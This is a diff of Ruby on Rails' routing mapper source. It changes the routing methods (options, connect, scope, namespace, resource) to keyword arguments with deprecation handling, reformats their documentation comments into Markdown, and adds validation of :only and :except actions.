-            options = args.extract_options!
-            options[:via] = method
-            match(*args, options, &block)
-            self
-          end
+        # Define a route that only recognizes HTTP OPTIONS. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     options 'carrots', to: 'food#carrots'
+        def options(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: false, format: false, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :options) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :options)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :options)
+            action ||= assign_deprecated_option(deprecated_options, :action, :options)
+            on ||= assign_deprecated_option(deprecated_options, :on, :options)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :options)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :options)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :options) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :options) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :options)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :options)
+            assign_deprecated_options(deprecated_options, mapping, :options)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :options, &block)
+          self
+        end
+
+        # Define a route that recognizes HTTP CONNECT (and GET) requests. More
+        # specifically this recognizes HTTP/1 protocol upgrade requests and HTTP/2
+        # CONNECT requests with the protocol pseudo header. For supported arguments,
+        # see [match](rdoc-ref:Base#match)
+        #
+        #     connect 'live', to: 'live#index'
+        def connect(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: false, format: false, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :connect) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :connect)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :connect)
+            action ||= assign_deprecated_option(deprecated_options, :action, :connect)
+            on ||= assign_deprecated_option(deprecated_options, :on, :connect)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :connect)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :connect)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :connect) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :connect) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :connect)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :connect)
+            assign_deprecated_options(deprecated_options, mapping, :connect)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: [:get, :connect], &block)
+          self
+        end
       end
 
-      # You may wish to organize groups of controllers under a namespace.
-      # Most commonly, you might group a number of administrative controllers
-      # under an +admin+ namespace. You would place these controllers under
-      # the <tt>app/controllers/admin</tt> directory, and you can group them
-      # together in your router:
+      # You may wish to organize groups of controllers under a namespace. Most
+      # commonly, you might group a number of administrative controllers under an
+      # `admin` namespace. You would place these controllers under the
+      # `app/controllers/admin` directory, and you can group them together in your
+      # router:
       #
-      #   namespace "admin" do
-      #     resources :posts, :comments
-      #   end
+      #     namespace "admin" do
+      #       resources :posts, :comments
+      #     end
       #
       # This will create a number of routes for each of the posts and comments
-      # controller. For <tt>Admin::PostsController</tt>, Rails will create:
+      # controller. For `Admin::PostsController`, Rails will create:
       #
-      #   GET       /admin/posts
-      #   GET       /admin/posts/new
-      #   POST      /admin/posts
-      #   GET       /admin/posts/1
-      #   GET       /admin/posts/1/edit
-      #   PATCH/PUT /admin/posts/1
-      #   DELETE    /admin/posts/1
+      #     GET       /admin/posts
+      #     GET       /admin/posts/new
+      #     POST      /admin/posts
+      #     GET       /admin/posts/1
+      #     GET       /admin/posts/1/edit
+      #     PATCH/PUT /admin/posts/1
+      #     DELETE    /admin/posts/1
       #
       # If you want to route /posts (without the prefix /admin) to
-      # <tt>Admin::PostsController</tt>, you could use
+      # `Admin::PostsController`, you could use
       #
-      #   scope module: "admin" do
-      #     resources :posts
-      #   end
+      #     scope module: "admin" do
+      #       resources :posts
+      #     end
       #
       # or, for a single case
       #
-      #   resources :posts, module: "admin"
+      #     resources :posts, module: "admin"
       #
-      # If you want to route /admin/posts to +PostsController+
-      # (without the <tt>Admin::</tt> module prefix), you could use
+      # If you want to route /admin/posts to `PostsController` (without the `Admin::`
+      # module prefix), you could use
       #
-      #   scope "/admin" do
-      #     resources :posts
-      #   end
+      #     scope "/admin" do
+      #       resources :posts
+      #     end
       #
       # or, for a single case
       #
-      #   resources :posts, path: "/admin/posts"
+      #     resources :posts, path: "/admin/posts"
       #
-      # In each of these cases, the named routes remain the same as if you did
-      # not use scope. In the last case, the following paths map to
-      # +PostsController+:
+      # In each of these cases, the named routes remain the same as if you did not use
+      # scope. In the last case, the following paths map to `PostsController`:
       #
-      #   GET       /admin/posts
-      #   GET       /admin/posts/new
-      #   POST      /admin/posts
-      #   GET       /admin/posts/1
-      #   GET       /admin/posts/1/edit
-      #   PATCH/PUT /admin/posts/1
-      #   DELETE    /admin/posts/1
+      #     GET       /admin/posts
+      #     GET       /admin/posts/new
+      #     POST      /admin/posts
+      #     GET       /admin/posts/1
+      #     GET       /admin/posts/1/edit
+      #     PATCH/PUT /admin/posts/1
+      #     DELETE    /admin/posts/1
       module Scoping
         # Scopes a set of routes to the given default options.
         #
         # Take the following route definition as an example:
         #
-        #   scope path: ":account_id", as: "account" do
-        #     resources :projects
-        #   end
+        #     scope path: ":account_id", as: "account" do
+        #       resources :projects
+        #     end
         #
-        # This generates helpers such as +account_projects_path+, just like +resources+ does.
-        # The difference here being that the routes generated are like /:account_id/projects,
-        # rather than /accounts/:account_id/projects.
+        # This generates helpers such as `account_projects_path`, just like `resources`
+        # does. The difference here being that the routes generated are like
+        # /:account_id/projects, rather than /accounts/:account_id/projects.
         #
-        # === Options
+        # ### Options
         #
-        # Takes same options as <tt>Base#match</tt> and <tt>Resources#resources</tt>.
+        # Takes same options as `Base#match` and `Resources#resources`.
         #
-        #   # route /posts (without the prefix /admin) to <tt>Admin::PostsController</tt>
-        #   scope module: "admin" do
-        #     resources :posts
-        #   end
+        #     # route /posts (without the prefix /admin) to Admin::PostsController
+        #     scope module: "admin" do
+        #       resources :posts
+        #     end
         #
-        #   # prefix the posts resource's requests with '/admin'
-        #   scope path: "/admin" do
-        #     resources :posts
-        #   end
+        #     # prefix the posts resource's requests with '/admin'
+        #     scope path: "/admin" do
+        #       resources :posts
+        #     end
         #
-        #   # prefix the routing helper name: +sekret_posts_path+ instead of +posts_path+
-        #   scope as: "sekret" do
-        #     resources :posts
-        #   end
-        def scope(*args)
-          options = args.extract_options!.dup
+        #     # prefix the routing helper name: sekret_posts_path instead of posts_path
+        #     scope as: "sekret" do
+        #       resources :posts
+        #     end
+        def scope(*args, only: nil, except: nil, **options)
+          if args.grep(Hash).any? && (deprecated_options = args.extract_options!)
+            only ||= assign_deprecated_option(deprecated_options, :only, :scope)
+            only ||= assign_deprecated_option(deprecated_options, :except, :scope)
+            assign_deprecated_options(deprecated_options, options, :scope)
+          end
+
           scope = {}
 
           options[:path] = args.flatten.join("/") if args.any?
@@ -826,9 +1013,8 @@ def scope(*args)
             block, options[:constraints] = options[:constraints], {}
           end
 
-          if options.key?(:only) || options.key?(:except)
-            scope[:action_options] = { only: options.delete(:only),
-                                       except: options.delete(:except) }
+          if only || except
+            scope[:action_options] = { only:, except: }
           end
 
           if options.key? :anchor
@@ -860,9 +1046,9 @@ def scope(*args)
 
         # Scopes routes to a specific controller
         #
-        #   controller "food" do
-        #     match "bacon", action: :bacon, via: :get
-        #   end
+        #     controller "food" do
+        #       match "bacon", action: :bacon, via: :get
+        #     end
         def controller(controller)
           @scope = @scope.new(controller: controller)
           yield
@@ -872,121 +1058,132 @@ def controller(controller)
 
         # Scopes routes to a specific namespace. For example:
         #
-        #   namespace :admin do
-        #     resources :posts
-        #   end
+        #     namespace :admin do
+        #       resources :posts
+        #     end
         #
         # This generates the following routes:
         #
-        #       admin_posts GET       /admin/posts(.:format)          admin/posts#index
-        #       admin_posts POST      /admin/posts(.:format)          admin/posts#create
-        #    new_admin_post GET       /admin/posts/new(.:format)      admin/posts#new
-        #   edit_admin_post GET       /admin/posts/:id/edit(.:format) admin/posts#edit
-        #        admin_post GET       /admin/posts/:id(.:format)      admin/posts#show
-        #        admin_post PATCH/PUT /admin/posts/:id(.:format)      admin/posts#update
-        #        admin_post DELETE    /admin/posts/:id(.:format)      admin/posts#destroy
-        #
-        # === Options
-        #
-        # The +:path+, +:as+, +:module+, +:shallow_path+ and +:shallow_prefix+
-        # options all default to the name of the namespace.
-        #
-        # For options, see <tt>Base#match</tt>. For +:shallow_path+ option, see
-        # <tt>Resources#resources</tt>.
-        #
-        #   # accessible through /sekret/posts rather than /admin/posts
-        #   namespace :admin, path: "sekret" do
-        #     resources :posts
-        #   end
-        #
-        #   # maps to <tt>Sekret::PostsController</tt> rather than <tt>Admin::PostsController</tt>
-        #   namespace :admin, module: "sekret" do
-        #     resources :posts
-        #   end
-        #
-        #   # generates +sekret_posts_path+ rather than +admin_posts_path+
-        #   namespace :admin, as: "sekret" do
-        #     resources :posts
-        #   end
-        def namespace(path, options = {})
-          path = path.to_s
-
-          defaults = {
-            module:         path,
-            as:             options.fetch(:as, path),
-            shallow_path:   options.fetch(:path, path),
-            shallow_prefix: options.fetch(:as, path)
-          }
+        #         admin_posts GET       /admin/posts(.:format)          admin/posts#index
+        #         admin_posts POST      /admin/posts(.:format)          admin/posts#create
+        #      new_admin_post GET       /admin/posts/new(.:format)      admin/posts#new
+        #     edit_admin_post GET       /admin/posts/:id/edit(.:format) admin/posts#edit
+        #          admin_post GET       /admin/posts/:id(.:format)      admin/posts#show
+        #          admin_post PATCH/PUT /admin/posts/:id(.:format)      admin/posts#update
+        #          admin_post DELETE    /admin/posts/:id(.:format)      admin/posts#destroy
+        #
+        # ### Options
+        #
+        # The `:path`, `:as`, `:module`, `:shallow_path`, and `:shallow_prefix` options
+        # all default to the name of the namespace.
+        #
+        # For options, see `Base#match`. For `:shallow_path` option, see
+        # `Resources#resources`.
+        #
+        #     # accessible through /sekret/posts rather than /admin/posts
+        #     namespace :admin, path: "sekret" do
+        #       resources :posts
+        #     end
+        #
+        #     # maps to Sekret::PostsController rather than Admin::PostsController
+        #     namespace :admin, module: "sekret" do
+        #       resources :posts
+        #     end
+        #
+        #     # generates sekret_posts_path rather than admin_posts_path
+        #     namespace :admin, as: "sekret" do
+        #       resources :posts
+        #     end
+        def namespace(name, deprecated_options = nil, as: DEFAULT, path: DEFAULT, shallow_path: DEFAULT, shallow_prefix: DEFAULT, **options, &block)
+          if deprecated_options.is_a?(Hash)
+            as = assign_deprecated_option(deprecated_options, :as, :namespace) if deprecated_options.key?(:as)
+            path ||= assign_deprecated_option(deprecated_options, :path, :namespace)  if deprecated_options.key?(:path)
+            shallow_path ||= assign_deprecated_option(deprecated_options, :shallow_path, :namespace) if deprecated_options.key?(:shallow_path)
+            shallow_prefix ||= assign_deprecated_option(deprecated_options, :shallow_prefix, :namespace)  if deprecated_options.key?(:shallow_prefix)
+            assign_deprecated_options(deprecated_options, options, :namespace)
+          end
 
-          path_scope(options.delete(:path) { path }) do
-            scope(defaults.merge!(options)) { yield }
+          name = name.to_s
+          options[:module] ||= name
+          as = name if as == DEFAULT
+          path = name if path == DEFAULT
+          shallow_path = path if shallow_path == DEFAULT
+          shallow_prefix = as if shallow_prefix == DEFAULT
+
+          path_scope(path) do
+            scope(**options, as:, shallow_path:, shallow_prefix:, &block)
           end
         end
 
-        # === Parameter Restriction
-        # Allows you to constrain the nested routes based on a set of rules.
-        # For instance, in order to change the routes to allow for a dot character in the +id+ parameter:
+        # ### Parameter Restriction
+        # Allows you to constrain the nested routes based on a set of rules. For
+        # instance, in order to change the routes to allow for a dot character in the
+        # `id` parameter:
         #
-        #   constraints(id: /\d+\.\d+/) do
-        #     resources :posts
-        #   end
+        #     constraints(id: /\d+\.\d+/) do
+        #       resources :posts
+        #     end
         #
-        # Now routes such as +/posts/1+ will no longer be valid, but +/posts/1.1+ will be.
-        # The +id+ parameter must match the constraint passed in for this example.
+        # Now routes such as `/posts/1` will no longer be valid, but `/posts/1.1` will
+        # be. The `id` parameter must match the constraint passed in for this example.
         #
         # You may use this to also restrict other parameters:
         #
-        #   resources :posts do
-        #     constraints(post_id: /\d+\.\d+/) do
-        #       resources :comments
+        #     resources :posts do
+        #       constraints(post_id: /\d+\.\d+/) do
+        #         resources :comments
+        #       end
         #     end
-        #   end
         #
-        # === Restricting based on IP
+        # ### Restricting based on IP
         #
         # Routes can also be constrained to an IP or a certain range of IP addresses:
         #
-        #   constraints(ip: /192\.168\.\d+\.\d+/) do
-        #     resources :posts
-        #   end
+        #     constraints(ip: /192\.168\.\d+\.\d+/) do
+        #       resources :posts
+        #     end
         #
-        # Any user connecting from the 192.168.* range will be able to see this resource,
-        # where as any user connecting outside of this range will be told there is no such route.
+        # Any user connecting from the 192.168.* range will be able to see this
+        # resource, where as any user connecting outside of this range will be told
+        # there is no such route.
         #
-        # === Dynamic request matching
+        # ### Dynamic request matching
         #
         # Requests to routes can be constrained based on specific criteria:
         #
-        #    constraints(-> (req) { req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do
-        #      resources :iphones
-        #    end
+        #     constraints(-> (req) { /iPhone/.match?(req.env["HTTP_USER_AGENT"]) }) do
+        #       resources :iphones
+        #     end
         #
-        # You are able to move this logic out into a class if it is too complex for routes.
-        # This class must have a +matches?+ method defined on it which either returns +true+
-        # if the user should be given access to that route, or +false+ if the user should not.
+        # You are able to move this logic out into a class if it is too complex for
+        # routes. This class must have a `matches?` method defined on it which either
+        # returns `true` if the user should be given access to that route, or `false` if
+        # the user should not.
         #
-        #    class Iphone
-        #      def self.matches?(request)
-        #        request.env["HTTP_USER_AGENT"] =~ /iPhone/
-        #      end
-        #    end
+        #     class Iphone
+        #       def self.matches?(request)
+        #         /iPhone/.match?(request.env["HTTP_USER_AGENT"])
+        #       end
+        #     end
         #
-        # An expected place for this code would be +lib/constraints+.
+        # An expected place for this code would be `lib/constraints`.
         #
         # This class is then used like this:
         #
-        #    constraints(Iphone) do
-        #      resources :iphones
-        #    end
-        def constraints(constraints = {})
-          scope(constraints: constraints) { yield }
+        #     constraints(Iphone) do
+        #       resources :iphones
+        #     end
+        def constraints(constraints = {}, &block)
+          scope(constraints: constraints, &block)
         end
 
         # Allows you to set default parameters for a route, such as this:
-        #   defaults id: 'home' do
-        #     match 'scoped_pages/(:id)', to: 'pages#show'
-        #   end
-        # Using this, the +:id+ parameter here will default to 'home'.
+        #
+        #     defaults id: 'home' do
+        #       match 'scoped_pages/(:id)', to: 'pages#show'
+        #     end
+        #
+        # Using this, the `:id` parameter here will default to 'home'.
         def defaults(defaults = {})
           @scope = @scope.new(defaults: merge_defaults_scope(@scope[:defaults], defaults))
           yield
@@ -1062,56 +1259,74 @@ def merge_to_scope(parent, child)
           end
       end
 
-      # Resource routing allows you to quickly declare all of the common routes
-      # for a given resourceful controller. Instead of declaring separate routes
-      # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
-      # actions, a resourceful route declares them in a single line of code:
+      # Resource routing allows you to quickly declare all of the common routes for a
+      # given resourceful controller. Instead of declaring separate routes for your
+      # `index`, `show`, `new`, `edit`, `create`, `update`, and `destroy` actions, a
+      # resourceful route declares them in a single line of code:
       #
-      #  resources :photos
+      #     resources :photos
       #
-      # Sometimes, you have a resource that clients always look up without
-      # referencing an ID. A common example, /profile always shows the profile of
-      # the currently logged in user. In this case, you can use a singular resource
-      # to map /profile (rather than /profile/:id) to the show action.
+      # Sometimes, you have a resource that clients always look up without referencing
+      # an ID. A common example, /profile always shows the profile of the currently
+      # logged in user. In this case, you can use a singular resource to map /profile
+      # (rather than /profile/:id) to the show action.
       #
-      #  resource :profile
+      #     resource :profile
       #
-      # It's common to have resources that are logically children of other
-      # resources:
+      # It's common to have resources that are logically children of other resources:
       #
-      #   resources :magazines do
-      #     resources :ads
-      #   end
+      #     resources :magazines do
+      #       resources :ads
+      #     end
       #
       # You may wish to organize groups of controllers under a namespace. Most
-      # commonly, you might group a number of administrative controllers under
-      # an +admin+ namespace. You would place these controllers under the
-      # <tt>app/controllers/admin</tt> directory, and you can group them together
-      # in your router:
+      # commonly, you might group a number of administrative controllers under an
+      # `admin` namespace. You would place these controllers under the
+      # `app/controllers/admin` directory, and you can group them together in your
+      # router:
       #
-      #   namespace "admin" do
-      #     resources :posts, :comments
-      #   end
+      #     namespace "admin" do
+      #       resources :posts, :comments
+      #     end
       #
-      # By default the +:id+ parameter doesn't accept dots. If you need to
-      # use dots as part of the +:id+ parameter add a constraint which
-      # overrides this restriction, e.g:
+      # By default the `:id` parameter doesn't accept dots. If you need to use dots as
+      # part of the `:id` parameter add a constraint which overrides this restriction,
+      # e.g:
       #
-      #   resources :articles, id: /[^\/]+/
-      #
-      # This allows any character other than a slash as part of your +:id+.
+      #     resources :articles, id: /[^\/]+/
       #
+      # This allows any character other than a slash as part of your `:id`.
       module Resources
-        # CANONICAL_ACTIONS holds all actions that does not need a prefix or
-        # a path appended since they fit properly in their scope level.
+        # CANONICAL_ACTIONS holds all actions that does not need a prefix or a path
+        # appended since they fit properly in their scope level.
         VALID_ON_OPTIONS  = [:new, :collection, :member]
         RESOURCE_OPTIONS  = [:as, :controller, :path, :only, :except, :param, :concerns]
         CANONICAL_ACTIONS = %w(index create new show update destroy)
 
-        class Resource #:nodoc:
+        class Resource # :nodoc:
+          class << self
+            def default_actions(api_only)
+              if api_only
+                [:index, :create, :show, :update, :destroy]
+              else
+                [:index, :create, :new, :show, :update, :destroy, :edit]
+              end
+            end
+          end
+
           attr_reader :controller, :path, :param
 
-          def initialize(entities, api_only, shallow, options = {})
+          def initialize(entities, api_only, shallow, only: nil, except: nil, **options)
+            if options[:param].to_s.include?(":")
+              raise ArgumentError, ":param option can't contain colons"
+            end
+
+            valid_actions = self.class.default_actions(false) # ignore api_only for this validation
+            if (invalid_actions = invalid_only_except_options(valid_actions, only:, except:).presence)
+              error_prefix = "Route `resource#{"s" unless singleton?} :#{entities}`"
+              raise ArgumentError, "#{error_prefix} - :only and :except must include only #{valid_actions}, but also included #{invalid_actions}"
+            end
+
             @name       = entities.to_s
             @path       = (options[:path] || @name).to_s
             @controller = (options[:controller] || @name).to_s
@@ -1120,23 +1335,25 @@ def initialize(entities, api_only, shallow, options = {})
             @options    = options
             @shallow    = shallow
             @api_only   = api_only
-            @only       = options.delete :only
-            @except     = options.delete :except
+            @only       = only
+            @except     = except
           end
 
           def default_actions
-            if @api_only
-              [:index, :create, :show, :update, :destroy]
+            self.class.default_actions(@api_only)
+          end
+
+          def actions
+            if @except
+              available_actions - Array(@except).map(&:to_sym)
             else
-              [:index, :create, :new, :show, :update, :destroy, :edit]
+              available_actions
             end
           end
 
-          def actions
+          def available_actions
             if @only
               Array(@only).map(&:to_sym)
-            elsif @except
-              default_actions - Array(@except).map(&:to_sym)
             else
               default_actions
             end
@@ -1156,8 +1373,8 @@ def singular
 
           alias :member_name :singular
 
-          # Checks for uncountable plurals, and appends "_index" if the plural
-          # and singular form are the same.
+          # Checks for uncountable plurals, and appends "_index" if the plural and
+          # singular form are the same.
           def collection_name
             singular == plural ? "#{plural}_index" : plural
           end
@@ -1191,10 +1408,25 @@ def shallow?
           end
 
           def singleton?; false; end
+
+          private
+            def invalid_only_except_options(valid_actions, only:, except:)
+              [only, except].flatten.compact.uniq.map(&:to_sym) - valid_actions
+            end
         end
 
-        class SingletonResource < Resource #:nodoc:
-          def initialize(entities, api_only, shallow, options)
+        class SingletonResource < Resource # :nodoc:
+          class << self
+            def default_actions(api_only)
+              if api_only
+                [:show, :create, :update, :destroy]
+              else
+                [:show, :create, :update, :destroy, :new, :edit]
+              end
+            end
+          end
+
+          def initialize(entities, api_only, shallow, **options)
             super
             @as         = nil
             @controller = (options[:controller] || plural).to_s
@@ -1202,11 +1434,7 @@ def initialize(entities, api_only, shallow, options)
           end
 
           def default_actions
-            if @api_only
-              [:show, :create, :update, :destroy]
-            else
-              [:show, :create, :update, :destroy, :new, :edit]
-            end
+            self.class.default_actions(@api_only)
           end
 
           def plural
@@ -1230,40 +1458,51 @@ def resources_path_names(options)
           @scope[:path_names].merge!(options)
         end
 
-        # Sometimes, you have a resource that clients always look up without
-        # referencing an ID. A common example, /profile always shows the
-        # profile of the currently logged in user. In this case, you can use
-        # a singular resource to map /profile (rather than /profile/:id) to
-        # the show action:
+        # Sometimes, you have a resource that clients always look up without referencing
+        # an ID. A common example, /profile always shows the profile of the currently
+        # logged in user. In this case, you can use a singular resource to map /profile
+        # (rather than /profile/:id) to the show action:
+        #
+        #     resource :profile
+        #
+        # This creates six different routes in your application, all mapping to the
+        # `Profiles` controller (note that the controller is named after the plural):
+        #
+        #     GET       /profile/new
+        #     GET       /profile
+        #     GET       /profile/edit
+        #     PATCH/PUT /profile
+        #     DELETE    /profile
+        #     POST      /profile
         #
-        #   resource :profile
+        # If you want instances of a model to work with this resource via record
+        # identification (e.g. in `form_with` or `redirect_to`), you will need to call
+        # [resolve](rdoc-ref:CustomUrls#resolve):
         #
-        # creates six different routes in your application, all mapping to
-        # the +Profiles+ controller (note that the controller is named after
-        # the plural):
+        #     resource :profile
+        #     resolve('Profile') { [:profile] }
         #
-        #   GET       /profile/new
-        #   GET       /profile
-        #   GET       /profile/edit
-        #   PATCH/PUT /profile
-        #   DELETE    /profile
-        #   POST      /profile
+        #     # Enables this to work with singular routes:
+        #     form_with(model: @profile) {}
         #
-        # === Options
-        # Takes same options as +resources+.
-        def resource(*resources, &block)
-          options = resources.extract_options!.dup
+        # ### Options
+        # Takes same options as [resources](rdoc-ref:#resources)
+        def resource(*resources, concerns: nil, **options, &block)
+          if resources.grep(Hash).any? && (deprecated_options = resources.extract_options!)
+            concerns = assign_deprecated_option(deprecated_options, :concerns, :resource) if deprecated_options.key?(:concerns)
+            assign_deprecated_options(deprecated_options, options, :resource)
+          end
 
-          if apply_common_behavior_for(:resource, resources, options, &block)
+          if apply_common_behavior_for(:resource, resources, concerns:, **options, &block)
             return self
           end
 
           with_scope_level(:resource) do
-            options = apply_action_options options
-            resource_scope(SingletonResource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+            options = apply_action_options :resource, options
+            resource_scope(SingletonResource.new(resources.pop, api_only?, @scope[:shallow], **options)) do
               yield if block_given?
 
-              concerns(options[:concerns]) if options[:concerns]
+              concerns(*concerns) if concerns
 
               new do
                 get :new
@@ -1280,151 +1519,163 @@ def resource(*resources, &block)
           self
         end
 
-        # In Rails, a resourceful route provides a mapping between HTTP verbs
-        # and URLs and controller actions. By convention, each action also maps
-        # to particular CRUD operations in a database. A single entry in the
-        # routing file, such as
+        # In Rails, a resourceful route provides a mapping between HTTP verbs and URLs
+        # and controller actions. By convention, each action also maps to particular
+        # CRUD operations in a database. A single entry in the routing file, such as
         #
-        #   resources :photos
+        #     resources :photos
         #
-        # creates seven different routes in your application, all mapping to
-        # the +Photos+ controller:
+        # creates seven different routes in your application, all mapping to the
+        # `Photos` controller:
         #
-        #   GET       /photos
-        #   GET       /photos/new
-        #   POST      /photos
-        #   GET       /photos/:id
-        #   GET       /photos/:id/edit
-        #   PATCH/PUT /photos/:id
-        #   DELETE    /photos/:id
+        #     GET       /photos
+        #     GET       /photos/new
+        #     POST      /photos
+        #     GET       /photos/:id
+        #     GET       /photos/:id/edit
+        #     PATCH/PUT /photos/:id
+        #     DELETE    /photos/:id
         #
         # Resources can also be nested infinitely by using this block syntax:
         #
-        #   resources :photos do
-        #     resources :comments
-        #   end
+        #     resources :photos do
+        #       resources :comments
+        #     end
         #
         # This generates the following comments routes:
         #
-        #   GET       /photos/:photo_id/comments
-        #   GET       /photos/:photo_id/comments/new
-        #   POST      /photos/:photo_id/comments
-        #   GET       /photos/:photo_id/comments/:id
-        #   GET       /photos/:photo_id/comments/:id/edit
-        #   PATCH/PUT /photos/:photo_id/comments/:id
-        #   DELETE    /photos/:photo_id/comments/:id
+        #     GET       /photos/:photo_id/comments
+        #     GET       /photos/:photo_id/comments/new
+        #     POST      /photos/:photo_id/comments
+        #     GET       /photos/:photo_id/comments/:id
+        #     GET       /photos/:photo_id/comments/:id/edit
+        #     PATCH/PUT /photos/:photo_id/comments/:id
+        #     DELETE    /photos/:photo_id/comments/:id
         #
-        # === Options
-        # Takes same options as <tt>Base#match</tt> as well as:
+        # ### Options
+        # Takes same options as [match](rdoc-ref:Base#match) as well as:
         #
-        # [:path_names]
-        #   Allows you to change the segment component of the +edit+ and +new+ actions.
-        #   Actions not specified are not changed.
+        # :path_names
+        # :   Allows you to change the segment component of the `edit` and `new`
+        #     actions. Actions not specified are not changed.
         #
-        #     resources :posts, path_names: { new: "brand_new" }
+        #         resources :posts, path_names: { new: "brand_new" }
         #
-        #   The above example will now change /posts/new to /posts/brand_new
+        #     The above example will now change /posts/new to /posts/brand_new.
         #
-        # [:path]
-        #   Allows you to change the path prefix for the resource.
+        # :path
+        # :   Allows you to change the path prefix for the resource.
         #
-        #     resources :posts, path: 'postings'
+        #         resources :posts, path: 'postings'
         #
-        #   The resource and all segments will now route to /postings instead of /posts
+        #     The resource and all segments will now route to /postings instead of
+        #     /posts.
         #
-        # [:only]
-        #   Only generate routes for the given actions.
+        # :only
+        # :   Only generate routes for the given actions.
         #
-        #     resources :cows, only: :show
-        #     resources :cows, only: [:show, :index]
+        #         resources :cows, only: :show
+        #         resources :cows, only: [:show, :index]
         #
-        # [:except]
-        #   Generate all routes except for the given actions.
+        # :except
+        # :   Generate all routes except for the given actions.
         #
-        #     resources :cows, except: :show
-        #     resources :cows, except: [:show, :index]
+        #         resources :cows, except: :show
+        #         resources :cows, except: [:show, :index]
         #
-        # [:shallow]
-        #   Generates shallow routes for nested resource(s). When placed on a parent resource,
-        #   generates shallow routes for all nested resources.
+        # :shallow
+        # :   Generates shallow routes for nested resource(s). When placed on a parent
+        #     resource, generates shallow routes for all nested resources.
         #
-        #     resources :posts, shallow: true do
-        #       resources :comments
-        #     end
+        #         resources :posts, shallow: true do
+        #           resources :comments
+        #         end
         #
-        #   Is the same as:
+        #     Is the same as:
         #
-        #     resources :posts do
-        #       resources :comments, except: [:show, :edit, :update, :destroy]
-        #     end
-        #     resources :comments, only: [:show, :edit, :update, :destroy]
+        #         resources :posts do
+        #           resources :comments, except: [:show, :edit, :update, :destroy]
+        #         end
+        #         resources :comments, only: [:show, :edit, :update, :destroy]
         #
-        #   This allows URLs for resources that otherwise would be deeply nested such
-        #   as a comment on a blog post like <tt>/posts/a-long-permalink/comments/1234</tt>
-        #   to be shortened to just <tt>/comments/1234</tt>.
+        #     This allows URLs for resources that otherwise would be deeply nested such
+        #     as a comment on a blog post like `/posts/a-long-permalink/comments/1234`
+        #     to be shortened to just `/comments/1234`.
         #
-        # [:shallow_path]
-        #   Prefixes nested shallow routes with the specified path.
+        #     Set `shallow: false` on a child resource to ignore a parent's shallow
+        #     parameter.
         #
-        #     scope shallow_path: "sekret" do
-        #       resources :posts do
-        #         resources :comments, shallow: true
-        #       end
-        #     end
+        # :shallow_path
+        # :   Prefixes nested shallow routes with the specified path.
         #
-        #   The +comments+ resource here will have the following routes generated for it:
+        #         scope shallow_path: "sekret" do
+        #           resources :posts do
+        #             resources :comments, shallow: true
+        #           end
+        #         end
         #
-        #     post_comments    GET       /posts/:post_id/comments(.:format)
-        #     post_comments    POST      /posts/:post_id/comments(.:format)
-        #     new_post_comment GET       /posts/:post_id/comments/new(.:format)
-        #     edit_comment     GET       /sekret/comments/:id/edit(.:format)
-        #     comment          GET       /sekret/comments/:id(.:format)
-        #     comment          PATCH/PUT /sekret/comments/:id(.:format)
-        #     comment          DELETE    /sekret/comments/:id(.:format)
+        #     The `comments` resource here will have the following routes generated for
+        #     it:
         #
-        # [:shallow_prefix]
-        #   Prefixes nested shallow route names with specified prefix.
+        #         post_comments    GET       /posts/:post_id/comments(.:format)
+        #         post_comments    POST      /posts/:post_id/comments(.:format)
+        #         new_post_comment GET       /posts/:post_id/comments/new(.:format)
+        #         edit_comment     GET       /sekret/comments/:id/edit(.:format)
+        #         comment          GET       /sekret/comments/:id(.:format)
+        #         comment          PATCH/PUT /sekret/comments/:id(.:format)
+        #         comment          DELETE    /sekret/comments/:id(.:format)
         #
-        #     scope shallow_prefix: "sekret" do
-        #       resources :posts do
-        #         resources :comments, shallow: true
-        #       end
-        #     end
+        # :shallow_prefix
+        # :   Prefixes nested shallow route names with specified prefix.
+        #
+        #         scope shallow_prefix: "sekret" do
+        #           resources :posts do
+        #             resources :comments, shallow: true
+        #           end
+        #         end
+        #
+        #     The `comments` resource here will have the following routes generated for
+        #     it:
         #
-        #   The +comments+ resource here will have the following routes generated for it:
+        #         post_comments           GET       /posts/:post_id/comments(.:format)
+        #         post_comments           POST      /posts/:post_id/comments(.:format)
+        #         new_post_comment        GET       /posts/:post_id/comments/new(.:format)
+        #         edit_sekret_comment     GET       /comments/:id/edit(.:format)
+        #         sekret_comment          GET       /comments/:id(.:format)
+        #         sekret_comment          PATCH/PUT /comments/:id(.:format)
+        #         sekret_comment          DELETE    /comments/:id(.:format)
         #
-        #     post_comments           GET       /posts/:post_id/comments(.:format)
-        #     post_comments           POST      /posts/:post_id/comments(.:format)
